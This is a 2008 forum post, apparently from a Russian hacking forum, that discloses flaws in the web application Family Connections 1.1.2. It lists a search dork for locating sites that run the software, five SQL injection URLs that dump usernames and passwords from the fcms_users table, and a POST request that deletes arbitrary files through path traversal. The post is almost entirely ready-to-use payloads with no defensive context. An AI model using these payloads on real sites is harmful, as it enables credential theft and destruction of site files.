Показать сообщение отдельно

Family Connections 1.1.2 Multiply Vulns
  #1  
Старый 04.07.2008, 22:53
Аватар для _kREveDKo_2
_kREveDKo_2
Новичок
Регистрация: 13.06.2007
Сообщений: 3
Провел на форуме:
51667

Репутация: 23
По умолчанию Family Connections 1.1.2 Multiply Vulns

Family Connections 1.1.2 Multiply Vulns


[*] Author : n3v3rh00d, http://forum.antichat.ru

[*] Download : http://rubyforge.org/frs/download.php/7989/familyconnection-1.1.2.tar.gz

[*] Dork : intitle:"powered by Family Connections 1.1.2"



[*] Bug Type 1 : Remote Sql-injection

[*] POC's :
Код:
/gallery/index.php?uid=1&cid=-1+union+select+1,2,3,4,5,concat(username,char(64),password)+from+fcms_users/*&pid=1
			/inc/familynews_comments.php?newsid=0+union+select+0,concat(username,char(64),password),2,3,4,5,6,7+from+fcms_users/*
			/addressbook.php?address=0+union+select+0,password,username,3,4,5,6,7,8,9,0,1,2,3,4+from+fcms_users/*
			/addressbook.php?letter=0%27+union+select+0,1,2,3,concat(username,char(64),password),5+from+fcms_users/*
			/home.php?action=results&poll_id=0+union+select+0,1,2,concat(username,char(64),password),4+from+fcms_users/*

[*] Bug Type 2 : Arbitrary file delete

[*] POC :

/inc/upimages.php
POST: delimg=&img=../../index.php
 
Ответить с цитированием